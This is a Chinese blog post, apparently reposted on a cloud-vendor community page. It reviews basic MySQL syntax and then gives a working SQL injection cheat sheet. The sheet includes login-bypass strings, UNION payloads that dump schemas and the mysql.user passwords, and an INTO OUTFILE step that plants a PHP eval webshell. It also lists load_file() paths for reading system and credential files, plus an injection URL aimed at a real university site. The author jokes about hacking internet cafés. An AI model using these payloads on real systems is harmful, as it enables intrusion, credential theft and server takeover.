mysql基礎文法及拓展到web中的sql注入

來源:互聯網
上載者:User

標籤:

  本來是想寫下javaweb的mvc(tomcat, spring, mysql)的搭建,  昨天搭到淩晨3點, 誰知道jdbcTemplate的jar包不好使, 想死的心都有了, 想想還是休息一下, 所以複習一下mysql的基本文法,因為以前對web的安全比較熟悉, 看過好多駭客防線以及駭客X檔案, 黑鍋幾家網吧,你懂的, o(^▽^)o, 所以拓展一下web安全, 常見web注入的方式, 以及找的兩篇資料;

  首先複習一下基本的增刪改查:

//從Users表中刪除User為admin的欄位;delete from Users where User="admin"//將Users表中User為root的欄位的Password改為11111update Users set Password=111111 where User=’root’//建立一個teacher表 ,表包含了一個自增的id,名字,地址和入園時間(....)create table teacher(id int(3) auto_increment not null primary key,name char(10) not null,address varchar(50) default ‘深圳‘,year date)//為表teacher增加一條記錄;insert into teacher values(‘‘,‘allen‘,‘大連一中‘,‘1976-10-10‘);//查詢tacher表中的所有記錄; select這個是最常用的, 後面可以添加各種條件,匹配合適的記錄,/*包括 and between  ** to **; where **order by **group by  ** havingleft join on **;union **limit等各種文法;*/select * from teacher;

  

  資料庫注入式一種很老的技術了, 資料庫是一個企業或者一個網站的靈魂, 如果你資料庫被惡意更改了, 那麼我們就沒有咪咪(>^ω^<)了, 網上也常聽說XXX網站被黑了, 爆了各種密碼,爆了各種開房資訊有木有啊, *度都被黑過呢 , 還聽說企鵝帝國裡面大部分人都是搞防黑,搞安全的;

  剛剛寫了一個servlet的DEMO :

  正常的代碼如下,我們會擷取參數,然後通過jdbc進行資料庫查詢;

 

  如果我們傳的參數是這樣的:http://localhost:8080/test4/ann.do?arg=1‘ union select count(*) from testOrders or ‘1‘=‘1;

  合并起來的sql語句就變成了這樣, 這就產生了注入漏洞

  我所知道的資料庫包括mysql, mssql, oracle, 以及不溫不火的mongodb....,操作到頭來都只有增刪改查, 我就說下mysql, mysql用的人多啊;

  version(), database(),user()這幾個相當於全域變數 , 在資料庫中直接select version()就會返回對應的資料庫版本資訊;

  要判斷一個網站是否存在注入可以手工判斷, 常見的方式是構造:

1=1 and 1=2admin‘ --admin‘ #admin‘/*‘ or 1=1--‘ or 1=1#‘ or 1=1/*‘) or ‘1‘=‘1--‘) or (‘1‘=‘1-- 

 

  如果伺服器沒有進行防注入過濾的話,sql語句會變成這樣: select * from orders where 1=1 and 1=2 and 1=1; 

  亦可以這樣, 不準還能返回對應的資料庫資訊;

  and 1=2 union all select version() /*  and 1=2 union all select database() /*  and 1=2 union all select user() /*

 

  //這個可以判斷資料庫的版本是否為數字5開頭
  select * from db where 1 = 1 and mid(version(),1,1)=5

  //通過union查詢可以擷取資料庫的版本資訊, 當然了, union查詢要求欄位一定匹配;
  select * from orders union select 1,version() from orders

  //確定查詢的欄位數,如果返回成功, 那麼union會成功;
  select * from orders union select 1,1 from orders

  //通過在where後面添加and ord(mid(version(),1,1))<50 判斷資料庫的版本號碼
  select * from db where 1 = 1 and ord(mid(version(),1,1))<50

  //這個可以查詢到當前的使用者資訊(比如root)
  select * from orders union select database(),user() from orders

  //返回使用者數
  select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user

  //擷取使用者名稱為root的密碼;
  select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User=‘root‘

  //根據當前欄位數擷取information_schema中儲存所有資料庫資訊
  select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

  //information_schema.TABLES這個欄位儲存的是mysql的表資訊
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100

  //擷取world這個資料庫的表結構, 當然, 你首先爆資料庫名;
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘world‘ limit 1,100

  //擷取欄位, 要知道資料庫和表的名字,就可以擷取欄位的名字了
  select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘ci  //尼瑪啊, 喲了root這個是直接爆密碼的節奏啊;

  select * from orders where 1=1 and 1=2 union select User,Password from mysql.use

  //如果略顯無聊, 我們可以利用;insert into orders(name) values(‘hehe‘);增加自己想要的欄位;

  select * from orders where 1=1 ;insert into orders(name) values(‘hehe‘);

  //我們可以把查詢出來的資料儲存,當然了,你要知道儲存的目錄.... 就是傳jsp, asp, php小馬, 小馬傳大馬, 大馬傳木馬, 然後就呵呵了( ̄▽ ̄)"
  select user from mysql.user where 1=1 into outfile ‘e:/sql.txt‘;

 

  //o(^▽^)o,下面是轉載的,防忘記,轉載自

  暴欄位長度
    order by num/*

  匹配欄位
    and 1=1 union select 1,2,3,4,5…….n/*

  暴欄位位置
    and 1=2 union select 1,2,3,4,5…..n/*

  利用內建函數暴資料庫資訊
    version() database() user()

  不用猜解可用欄位暴資料庫資訊(有些網站不適用):

    and 1=2 union all select version() /*
    and 1=2 union all select database() /*
    and 1=2 union all select user() /*

  作業系統資訊:
    and 1=2 union all select @@global.version_compile_os from mysql.user /*

  資料庫許可權:
    and ord(mid(user(),1,1))=114 /* 返回正常說明為root

  暴庫 (mysql>5.0)

  Mysql 5 以上有內建庫 information_schema,儲存著mysql的所有資料庫和表結構資訊
    and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

  猜表
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進位) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—

  猜欄位
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進位)limit 0,1

  暴密碼
  and 1=2 Union select 1,2,3,使用者名稱段,5,6,7,密碼段,8,9 from 表名 limit 0,1

  進階用法(一個可用欄位顯示兩個資料內容):
    Union select 1,2,3concat(使用者名稱段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

  直接寫馬(Root許可權)
  條件:1、知道網站實體路徑
       2、有足夠大的許可權(可以用select …. from mysql.user測試)
       3、magic_quotes_gpc()=OFF
    select ‘<?php eval($_POST[cmd])?>’ into outfile ‘實體路徑’
    and 1=2 union all select 一句話HEX值 into outfile ‘路徑‘

  //利用load_file可以讀取檔案資訊, 許可權要是root;
    select LOAD_FILE(‘e:/sql.txt‘) ; 話說我這個擷取根本不是string檔案啊, 是blob, 誰知道怎麼辦嘛....

  load_file() 常用路徑:

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))上面兩個是查看一個PHP檔案裡完全顯示代碼.有些時候不替換一些字元,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼.3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬機器主機設定檔5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統apache檔案6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin檔案配置資訊.7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬機器主機8、d:\APACHE\Apache2\conf\httpd.conf9、C:\Program Files\mysql\my.ini10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬機器主機設定檔12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN設定檔查看13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬機器主機查看15、 /etc/sysconfig/iptables 本看防火牆策略16 、 usr/local/app/php5 b/php.ini PHP 的相當設定17 、/etc/my.cnf MYSQL的設定檔18、 /etc/redhat-release 紅帽子的系統版本19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的使用者密碼20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.21、/usr/local/app/php5 b/php.ini //PHP相關設定22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網站設定23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini24、c:\windows\my.ini25、c:\boot.ini

  

  網站常用設定檔 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
  註:
    Char(60)表示 <
    Char(32)表示 空格

  手工注射時出現的問題:
  當注射後頁面顯示:
    Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation ‘UNION‘
    如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
    這是由於前後編碼不一致造成的,
    解決方案:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改為:
    http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

    gropu by 語句的使用

    利用group by 爆資料庫欄位, 我這個5.x版本無效了, 應該是4或者3版本才有這漏洞....

      SQL注入備忘單

        注入

    注入的執行個體

    jb51的mysql基本資料 開啟

mysql基礎文法及拓展到web中的sql注入

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.